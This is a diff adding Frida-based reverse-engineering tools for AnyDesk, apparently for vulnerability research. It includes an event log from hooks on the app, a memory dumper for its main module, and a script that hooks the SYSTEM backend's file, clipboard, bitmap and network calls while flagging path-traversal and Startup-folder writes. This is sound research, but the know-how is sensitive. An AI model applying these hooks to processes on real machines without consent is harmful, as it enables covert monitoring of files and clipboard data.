|
||||||
|
"ts": 1773785115084,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 128,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115084,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 129,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.087 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115087,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 138,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.087 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115087,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 136,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.089 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115089,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 132,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.089 lsvc 18852 2452 2 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115089,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 118,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.914 lsvc 18852 2452 2 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115914,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 153,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.914 lsvc 18852 2452 2 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115914,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 129,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.916 lsvc 18852 2452 115 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115916,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 130,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.917 lsvc 18852 2452 115 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115917,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 122,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:15.920 lsvc 18852 2452 115 "
|
||||||
|
],
|
||||||
|
"ts": 1773785115920,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 126,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:16.163 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785116163,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 137,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:16.240 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785116240,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 123,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:16.240 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785116240,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 122,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:16.242 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785116242,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 4132,
|
||||||
|
"n": 5,
|
||||||
|
"ts": 1773785116246,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 4128,
|
||||||
|
"n": 6,
|
||||||
|
"ts": 1773785116246,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 3238,
|
||||||
|
"n": 7,
|
||||||
|
"ts": 1773785116246,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 5,
|
||||||
|
"n": 11,
|
||||||
|
"ts": 1773785116266,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "R",
|
||||||
|
"sz": 39,
|
||||||
|
"n": 12,
|
||||||
|
"ts": 1773785116266,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 141,
|
||||||
|
"tags": [
|
||||||
|
"STR: auth 2026-03-17 22:05:17.927 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785117927,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 34,
|
||||||
|
"n": 8,
|
||||||
|
"ts": 1773785117928,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "net",
|
||||||
|
"d": "S",
|
||||||
|
"sz": 32,
|
||||||
|
"n": 9,
|
||||||
|
"ts": 1773785117928,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 119,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:17.928 lsvc 18852 2452 2 "
|
||||||
|
],
|
||||||
|
"ts": 1773785117928,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 117,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:21.001 lsvc 18852 2452 115 "
|
||||||
|
],
|
||||||
|
"ts": 1773785121001,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 116,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:24.004 lsvc 18852 2452 115 "
|
||||||
|
],
|
||||||
|
"ts": 1773785124004,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 149,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:27.015 lsvc 18852 2452 "
|
||||||
|
],
|
||||||
|
"ts": 1773785127015,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 118,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:30.027 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785130027,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 141,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:33.029 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785133029,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "write",
|
||||||
|
"sz": 118,
|
||||||
|
"tags": [
|
||||||
|
"STR: info 2026-03-17 22:05:36.033 lsvc 18852 2452 112 "
|
||||||
|
],
|
||||||
|
"ts": 1773785136033,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "file",
|
||||||
|
"op": "Create",
|
||||||
|
"path": "C:\\Users\\desktop.ini",
|
||||||
|
"w": false,
|
||||||
|
"c": false,
|
||||||
|
"fl": [],
|
||||||
|
"ts": 1773785136035,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "file",
|
||||||
|
"op": "Create",
|
||||||
|
"path": "C:\\Users\\Mes\\Downloads\\desktop.ini",
|
||||||
|
"w": false,
|
||||||
|
"c": false,
|
||||||
|
"fl": [],
|
||||||
|
"ts": 1773785136036,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "file",
|
||||||
|
"op": "Create",
|
||||||
|
"path": "C:\\Users\\Mes\\Downloads",
|
||||||
|
"w": false,
|
||||||
|
"c": false,
|
||||||
|
"fl": [],
|
||||||
|
"ts": 1773785136037,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "file",
|
||||||
|
"op": "Create",
|
||||||
|
"path": "C:\\Users\\Mes\\Downloads\\AnyDesk.exe\\",
|
||||||
|
"w": false,
|
||||||
|
"c": false,
|
||||||
|
"fl": [],
|
||||||
|
"ts": 1773785136045,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "file",
|
||||||
|
"op": "Create",
|
||||||
|
"path": "C:\\Users\\Mes\\Downloads\\",
|
||||||
|
"w": false,
|
||||||
|
"c": false,
|
||||||
|
"fl": [],
|
||||||
|
"ts": 1773785136045,
|
||||||
|
"pid": 18852
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"t": "file",
|
||||||
|
"op": "Create",
|
||||||
|
"path": "C:\\Users\\Mes\\Downloads\\",
|
||||||
|
"w": false,
|
||||||
|
"c": false,
|
||||||
|
"fl": [],
|
||||||
|
"ts": 1773785136045,
|
||||||
|
"pid": 18852
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"capture_time": "2026-03-17T21:29:09.787972",
|
||||||
|
"duration": 171.0004379749298,
|
||||||
|
"ssl_info": null,
|
||||||
|
"total_raw_packets": 0,
|
||||||
|
"total_decrypted_packets": 0,
|
||||||
|
"total_file_ops": 0,
|
||||||
|
"total_clipboard_ops": 0,
|
||||||
|
"total_bitmap_ops": 0,
|
||||||
|
"alerts": [],
|
||||||
|
"decrypted_packets": [],
|
||||||
|
"file_ops": [],
|
||||||
|
"clipboard_ops": [],
|
||||||
|
"bitmap_ops": []
|
||||||
|
}
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
"""Find the correct Frida API for this version"""
|
||||||
|
import frida, subprocess, time
|
||||||
|
|
||||||
|
out = subprocess.check_output(
|
||||||
|
['tasklist','/FI','IMAGENAME eq AnyDesk.exe','/FO','CSV','/NH'],
|
||||||
|
text=True, stderr=subprocess.DEVNULL)
|
||||||
|
pid = None
|
||||||
|
for line in out.strip().split('\n'):
|
||||||
|
if 'AnyDesk' in line:
|
||||||
|
parts = line.strip().strip('"').split('","')
|
||||||
|
pid = int(parts[1].strip('"')); break
|
||||||
|
|
||||||
|
print(f"PID: {pid}, Frida: {frida.__version__}")
|
||||||
|
session = frida.attach(pid)
|
||||||
|
|
||||||
|
done = False
|
||||||
|
def on_msg(msg, data):
|
||||||
|
global done
|
||||||
|
print(f" {msg.get('payload', msg)}")
|
||||||
|
if msg.get('type') == 'send' and msg.get('payload','').startswith('DONE'):
|
||||||
|
done = True
|
||||||
|
|
||||||
|
# Test with V8
|
||||||
|
print("\n=== V8 runtime ===")
|
||||||
|
s = session.create_script("""
|
||||||
|
// What does Module look like?
|
||||||
|
send("typeof Module = " + typeof Module);
|
||||||
|
try { send("Module keys = " + Object.keys(Module).join(", ")); } catch(e) { send("Module keys err: " + e.message); }
|
||||||
|
try { send("Module.findExportByName = " + typeof Module.findExportByName); } catch(e) { send("err: " + e.message); }
|
||||||
|
|
||||||
|
// Try Process approach
|
||||||
|
send("typeof Process = " + typeof Process);
|
||||||
|
try { send("Process keys = " + Object.getOwnPropertyNames(Process).join(", ")); } catch(e) { send("Process keys err: " + e.message); }
|
||||||
|
try {
|
||||||
|
var m = Process.getModuleByName("KERNEL32.DLL");
|
||||||
|
send("kernel32 = " + m);
|
||||||
|
send("kernel32 keys = " + Object.getOwnPropertyNames(m).join(", "));
|
||||||
|
send("getExportByName type = " + typeof m.getExportByName);
|
||||||
|
if (typeof m.findExportByName === 'function') {
|
||||||
|
var a = m.findExportByName("CreateFileW");
|
||||||
|
send("findExportByName CreateFileW = " + a);
|
||||||
|
}
|
||||||
|
if (typeof m.getExportByName === 'function') {
|
||||||
|
var b = m.getExportByName("CreateFileW");
|
||||||
|
send("getExportByName CreateFileW = " + b);
|
||||||
|
}
|
||||||
|
} catch(e) { send("Process.getModuleByName err: " + e.message); }
|
||||||
|
|
||||||
|
// Try the way the recon script did it (which worked)
|
||||||
|
try {
|
||||||
|
var mods = Process.enumerateModules();
|
||||||
|
var k32 = null;
|
||||||
|
for (var i = 0; i < mods.length; i++) {
|
||||||
|
if (mods[i].name === 'KERNEL32.DLL') { k32 = mods[i]; break; }
|
||||||
|
}
|
||||||
|
if (k32) {
|
||||||
|
send("k32 via enumerate = " + k32.name + " @ " + k32.base);
|
||||||
|
send("k32 keys = " + Object.getOwnPropertyNames(k32).join(", "));
|
||||||
|
var exps = k32.enumerateExports();
|
||||||
|
var cf = null;
|
||||||
|
for (var j = 0; j < exps.length; j++) {
|
||||||
|
if (exps[j].name === 'CreateFileW') { cf = exps[j]; break; }
|
||||||
|
}
|
||||||
|
if (cf) {
|
||||||
|
send("CreateFileW via enumerate = " + cf.address + " type=" + cf.type);
|
||||||
|
// Now try Interceptor.attach with this address
|
||||||
|
try {
|
||||||
|
Interceptor.attach(cf.address, { onEnter: function(a) {} });
|
||||||
|
send("INTERCEPTOR ATTACH SUCCESS!");
|
||||||
|
} catch(e2) {
|
||||||
|
send("Interceptor.attach fail: " + e2.message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch(e) { send("enumerate err: " + e.message); }
|
||||||
|
|
||||||
|
send("DONE");
|
||||||
|
""", runtime='v8')
|
||||||
|
s.on('message', on_msg)
|
||||||
|
s.load()
|
||||||
|
for _ in range(100):
|
||||||
|
if done: break
|
||||||
|
time.sleep(0.1)
|
||||||
|
s.unload()
|
||||||
|
|
||||||
|
session.detach()
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
"""
|
||||||
|
Dump AnyDesk's main module from memory — uses Frida's module info directly.
|
||||||
|
"""
|
||||||
|
import frida
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
|
||||||
|
AGENT = r"""
|
||||||
|
var mainMod = Process.enumerateModules()[0];
|
||||||
|
send({t:'info', msg: 'Module: ' + mainMod.name + ' @ ' + mainMod.base + ' size: ' + mainMod.size});
|
||||||
|
|
||||||
|
// Check if the base has a PE header
|
||||||
|
var mz = mainMod.base.readU16();
|
||||||
|
send({t:'info', msg: 'MZ check: 0x' + mz.toString(16) + (mz === 0x5A4D ? ' (valid)' : ' (invalid)')});
|
||||||
|
|
||||||
|
if (mz === 0x5A4D) {
|
||||||
|
var peOff = mainMod.base.add(0x3C).readU32();
|
||||||
|
var peSig = mainMod.base.add(peOff).readU32();
|
||||||
|
send({t:'info', msg: 'PE sig: 0x' + peSig.toString(16)});
|
||||||
|
|
||||||
|
var numSections = mainMod.base.add(peOff + 6).readU16();
|
||||||
|
var sizeOfImage = mainMod.base.add(peOff + 0x50).readU32();
|
||||||
|
var sizeOfHeaders = mainMod.base.add(peOff + 0x54).readU32();
|
||||||
|
send({t:'info', msg: 'Sections: ' + numSections + ', SizeOfImage: ' + sizeOfImage + ', HeaderSize: ' + sizeOfHeaders});
|
||||||
|
|
||||||
|
// Read section table to find real extent
|
||||||
|
var optHeaderSize = mainMod.base.add(peOff + 0x14).readU16();
|
||||||
|
var sectionTableOff = peOff + 0x18 + optHeaderSize;
|
||||||
|
var maxEnd = 0;
|
||||||
|
for (var i = 0; i < numSections; i++) {
|
||||||
|
var secBase = mainMod.base.add(sectionTableOff + i * 40);
|
||||||
|
var nameBytes = secBase.readByteArray(8);
|
||||||
|
var nameArr = new Uint8Array(nameBytes);
|
||||||
|
var name = '';
|
||||||
|
for (var j = 0; j < 8; j++) { if (nameArr[j] === 0) break; name += String.fromCharCode(nameArr[j]); }
|
||||||
|
var virtualSize = secBase.add(8).readU32();
|
||||||
|
var virtualAddr = secBase.add(12).readU32();
|
||||||
|
var rawSize = secBase.add(16).readU32();
|
||||||
|
var chars = secBase.add(36).readU32();
|
||||||
|
var end = virtualAddr + virtualSize;
|
||||||
|
if (end > maxEnd) maxEnd = end;
|
||||||
|
send({t:'section', name: name.replace(/\0/g,''), va: '0x'+virtualAddr.toString(16),
|
||||||
|
vs: virtualSize, rs: rawSize, chars: '0x'+chars.toString(16)});
|
||||||
|
}
|
||||||
|
send({t:'info', msg: 'Max section end: 0x' + maxEnd.toString(16) + ' (' + maxEnd + ' bytes)'});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Dump the full module
|
||||||
|
var dumpSize = mainMod.size;
|
||||||
|
send({t:'info', msg: 'Dumping ' + dumpSize + ' bytes...'});
|
||||||
|
|
||||||
|
var chunkSize = 512 * 1024; // 512KB chunks
|
||||||
|
var offset = 0;
|
||||||
|
while (offset < dumpSize) {
|
||||||
|
var readSize = Math.min(chunkSize, dumpSize - offset);
|
||||||
|
try {
|
||||||
|
var data = mainMod.base.add(offset).readByteArray(readSize);
|
||||||
|
send({t:'chunk', offset: offset}, data);
|
||||||
|
} catch(e) {
|
||||||
|
send({t:'info', msg: 'Failed at offset 0x' + offset.toString(16) + ': ' + e});
|
||||||
|
var zeros = new ArrayBuffer(readSize);
|
||||||
|
send({t:'chunk', offset: offset}, zeros);
|
||||||
|
}
|
||||||
|
offset += readSize;
|
||||||
|
}
|
||||||
|
send({t:'done', size: dumpSize});
|
||||||
|
"""
|
||||||
|
|
||||||
|
def find_pid():
|
||||||
|
out = subprocess.check_output(
|
||||||
|
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
|
||||||
|
text=True, stderr=subprocess.DEVNULL)
|
||||||
|
for line in out.strip().split('\n'):
|
||||||
|
if 'AnyDesk' in line:
|
||||||
|
parts = line.strip().strip('"').split('","')
|
||||||
|
if len(parts) >= 2:
|
||||||
|
return int(parts[1].strip('"'))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main():
|
||||||
|
print("=" * 60)
|
||||||
|
print(" AnyDesk Memory Dumper v2")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
pid = find_pid()
|
||||||
|
if not pid:
|
||||||
|
print("[!] AnyDesk not running")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[+] Attaching to PID {pid}")
|
||||||
|
|
||||||
|
dump_data = bytearray()
|
||||||
|
dump_size = [0]
|
||||||
|
done = [False]
|
||||||
|
|
||||||
|
def on_msg(msg, data):
|
||||||
|
if msg['type'] == 'send':
|
||||||
|
p = msg['payload']
|
||||||
|
if p['t'] == 'info':
|
||||||
|
print(f" [*] {p['msg']}")
|
||||||
|
elif p['t'] == 'section':
|
||||||
|
print(f" [SEC] {p['name']:8s} VA={p['va']} VSize={p['vs']:>10,} RawSize={p['rs']:>10,} Chars={p['chars']}")
|
||||||
|
elif p['t'] == 'chunk' and data:
|
||||||
|
offset = p['offset']
|
||||||
|
if len(dump_data) < offset + len(data):
|
||||||
|
dump_data.extend(b'\x00' * (offset + len(data) - len(dump_data)))
|
||||||
|
dump_data[offset:offset+len(data)] = data
|
||||||
|
mb = (offset + len(data)) / 1024 / 1024
|
||||||
|
print(f" [DUMP] {mb:.1f} MB...", end='\r')
|
||||||
|
elif p['t'] == 'done':
|
||||||
|
dump_size[0] = p['size']
|
||||||
|
done[0] = True
|
||||||
|
print(f"\n [+] Dump complete: {p['size']:,} bytes")
|
||||||
|
elif msg['type'] == 'error':
|
||||||
|
print(f" [!] {msg['description']}")
|
||||||
|
|
||||||
|
session = frida.attach(pid)
|
||||||
|
script = session.create_script(AGENT, runtime='v8')
|
||||||
|
script.on('message', on_msg)
|
||||||
|
script.load()
|
||||||
|
|
||||||
|
for _ in range(1200): # 2 min timeout
|
||||||
|
if done[0]: break
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
script.unload()
|
||||||
|
session.detach()
|
||||||
|
|
||||||
|
if dump_data:
|
||||||
|
outpath = f"anydesk_dump_{pid}.bin"
|
||||||
|
with open(outpath, 'wb') as f:
|
||||||
|
f.write(dump_data)
|
||||||
|
print(f"\n[+] Saved: {outpath} ({len(dump_data):,} bytes)")
|
||||||
|
print(f"[+] Load in Ghidra: mcp__ghidra__analyze_binary with this file")
|
||||||
|
else:
|
||||||
|
print("[!] No data dumped")
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,164 @@
|
|||||||
|
"""
|
||||||
|
Hook AnyDesk backend process — monitors file I/O, bitmaps, clipboard.
|
||||||
|
Usage: python hook_backend.py <PID>
|
||||||
|
Must run as Administrator (backend runs as SYSTEM).
|
||||||
|
"""
|
||||||
|
import frida
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
AGENT = r"""
|
||||||
|
var hc = 0;
|
||||||
|
|
||||||
|
function gx(mod, name) {
|
||||||
|
try { var m = Process.findModuleByName(mod); return m ? m.findExportByName(name) : null; }
|
||||||
|
catch(e) { return null; }
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- CreateFileW ---
|
||||||
|
var a1 = gx('KERNEL32.DLL', 'CreateFileW');
|
||||||
|
if (a1) { Interceptor.attach(a1, { onEnter: function(args) { try {
|
||||||
|
var path = args[0].readUtf16String(); if (!path) return;
|
||||||
|
var pl = path.toLowerCase();
|
||||||
|
if (pl.indexOf('\\device\\')!==-1||pl.indexOf('\\pipe\\')!==-1||pl.indexOf('condrv')!==-1) return;
|
||||||
|
var access = args[1].toInt32()>>>0, disp = args[4].toInt32();
|
||||||
|
var isW = (access&0x40000000)!==0||(access&0x2)!==0;
|
||||||
|
var isC = disp===1||disp===2||disp===4;
|
||||||
|
var fl=[];
|
||||||
|
if(path.indexOf('..\\')!==-1) fl.push('TRAV_BS');
|
||||||
|
if(path.indexOf('../')!==-1) fl.push('TRAV_FS');
|
||||||
|
if(pl.indexOf('startup')!==-1) fl.push('STARTUP');
|
||||||
|
send({t:'F', path:path, w:isW, c:isC, fl:fl});
|
||||||
|
} catch(e){} }}); hc++; }
|
||||||
|
|
||||||
|
// --- WriteFile ---
|
||||||
|
var a2 = gx('KERNEL32.DLL', 'WriteFile');
|
||||||
|
if (a2) { Interceptor.attach(a2, { onEnter: function(args) { try {
|
||||||
|
var sz = args[2].toInt32();
|
||||||
|
if (sz > 32) {
|
||||||
|
var preview = args[1].readByteArray(Math.min(sz, 128));
|
||||||
|
var arr = new Uint8Array(preview);
|
||||||
|
var str = '';
|
||||||
|
for (var i = 0; i < Math.min(arr.length, 128); i++) {
|
||||||
|
var b = arr[i];
|
||||||
|
str += (b >= 0x20 && b < 0x7f) ? String.fromCharCode(b) : '.';
|
||||||
|
}
|
||||||
|
send({t:'W', sz:sz, preview:str});
|
||||||
|
}
|
||||||
|
} catch(e){} }}); hc++; }
|
||||||
|
|
||||||
|
// --- MoveFileExW ---
|
||||||
|
var a3 = gx('KERNEL32.DLL', 'MoveFileExW');
|
||||||
|
if (a3) { Interceptor.attach(a3, { onEnter: function(args) { try {
|
||||||
|
send({t:'M', src:args[0].readUtf16String(), dst:args[1].readUtf16String()});
|
||||||
|
} catch(e){} }}); hc++; }
|
||||||
|
|
||||||
|
// --- CreateDIBSection (DeskRT output) ---
|
||||||
|
var a4 = gx('GDI32.dll', 'CreateDIBSection');
|
||||||
|
if (a4) { Interceptor.attach(a4, { onEnter: function(args) { try {
|
||||||
|
var p = args[1]; if (p.isNull()) return;
|
||||||
|
var w=p.add(4).readS32(), h=p.add(8).readS32(), bpp=p.add(14).readU16();
|
||||||
|
send({t:'B', w:w, h:h, bpp:bpp, alloc:Math.abs(w)*Math.abs(h)*(bpp/8)});
|
||||||
|
} catch(e){} }}); hc++; }
|
||||||
|
|
||||||
|
// --- Clipboard ---
|
||||||
|
var a5 = gx('USER32.dll', 'SetClipboardData');
|
||||||
|
if (a5) { Interceptor.attach(a5, { onEnter: function(args) {
|
||||||
|
send({t:'C', op:'SET', fmt:args[0].toInt32()});
|
||||||
|
}}); hc++; }
|
||||||
|
var a6 = gx('USER32.dll', 'GetClipboardData');
|
||||||
|
if (a6) { Interceptor.attach(a6, { onEnter: function(args) { this.f=args[0].toInt32(); },
|
||||||
|
onLeave: function(r) { if(!r.isNull()) send({t:'C', op:'GET', fmt:this.f}); }
|
||||||
|
}); hc++; }
|
||||||
|
|
||||||
|
// --- send/recv on backend too ---
|
||||||
|
var sc=0, rc=0;
|
||||||
|
var a7 = gx('WS2_32.dll', 'send');
|
||||||
|
if (a7) { Interceptor.attach(a7, { onLeave: function(r) { var n=r.toInt32(); if(n>0){sc++;if(sc<=10||sc%50===0)send({t:'N',d:'S',sz:n,n:sc});}}}); hc++; }
|
||||||
|
var a8 = gx('WS2_32.dll', 'recv');
|
||||||
|
if (a8) { Interceptor.attach(a8, { onLeave: function(r) { var n=r.toInt32(); if(n>0){rc++;if(rc<=10||rc%50===0)send({t:'N',d:'R',sz:n,n:rc});}}}); hc++; }
|
||||||
|
|
||||||
|
send({t:'log', m:hc+' hooks on backend'});
|
||||||
|
"""
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: python hook_backend.py <PID>")
|
||||||
|
print("Run as Administrator!")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
pid = int(sys.argv[1])
|
||||||
|
print(f"[+] Attaching to backend PID {pid}...")
|
||||||
|
|
||||||
|
cfn = {1:'TEXT',2:'BITMAP',8:'DIB',13:'UNICODE',15:'HDROP',17:'DIBV5'}
|
||||||
|
t0 = time.time()
|
||||||
|
events = []
|
||||||
|
|
||||||
|
def on_msg(msg, data):
|
||||||
|
if msg['type'] != 'send':
|
||||||
|
print(f" [!] {msg.get('description','error')}")
|
||||||
|
return
|
||||||
|
p = msg['payload']
|
||||||
|
t = p.get('t','')
|
||||||
|
ts = time.time() - t0
|
||||||
|
|
||||||
|
if t == 'log':
|
||||||
|
print(f" [*] {p['m']}")
|
||||||
|
elif t == 'F':
|
||||||
|
fl = ' '.join(f'[{f}]' for f in p.get('fl',[]))
|
||||||
|
mode = ('W' if p['w'] else 'R') + ('+C' if p['c'] else '')
|
||||||
|
print(f" [{ts:7.2f}s] [FILE {mode:4s}] {p['path']} {fl}")
|
||||||
|
events.append(p)
|
||||||
|
elif t == 'W':
|
||||||
|
# Only show interesting writes (not log lines)
|
||||||
|
if 'info 2026' not in p['preview'] and 'warning 2026' not in p['preview']:
|
||||||
|
print(f" [{ts:7.2f}s] [WRITE {p['sz']:6d}b] {p['preview'][:80]}")
|
||||||
|
events.append(p)
|
||||||
|
elif t == 'M':
|
||||||
|
print(f" [{ts:7.2f}s] [MOVE] {p['src']} -> {p['dst']}")
|
||||||
|
events.append(p)
|
||||||
|
elif t == 'B':
|
||||||
|
print(f" [{ts:7.2f}s] [BITMAP] {p['w']}x{p['h']} @{p['bpp']}bpp ({p['alloc']:,.0f}b)")
|
||||||
|
events.append(p)
|
||||||
|
elif t == 'C':
|
||||||
|
fn = cfn.get(p['fmt'], f"FMT{p['fmt']}")
|
||||||
|
print(f" [{ts:7.2f}s] [CLIP] {p['op']} {fn}")
|
||||||
|
events.append(p)
|
||||||
|
elif t == 'N':
|
||||||
|
print(f" [{ts:7.2f}s] [NET] {p['d']} {p['sz']}b #{p['n']}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
session = frida.attach(pid)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[!] Failed: {e}")
|
||||||
|
print("[!] Run as Administrator — backend runs as SYSTEM")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
script = session.create_script(AGENT, runtime='v8')
|
||||||
|
script.on('message', on_msg)
|
||||||
|
script.load()
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
print(f"\n{'='*60}")
|
||||||
|
print(" Backend hooked. Now:")
|
||||||
|
print(" 1. Use AnyDesk file transfer to send a file")
|
||||||
|
print(" 2. Copy/paste between machines")
|
||||||
|
print(" 3. Move mouse (DeskRT frames)")
|
||||||
|
print(" Ctrl+C to stop")
|
||||||
|
print(f"{'='*60}\n")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True: time.sleep(0.1)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n[+] Stopping...")
|
||||||
|
|
||||||
|
out = f"backend_{pid}_{datetime.now().strftime('%H%M%S')}.json"
|
||||||
|
with open(out, 'w') as f:
|
||||||
|
json.dump(events, f, indent=2)
|
||||||
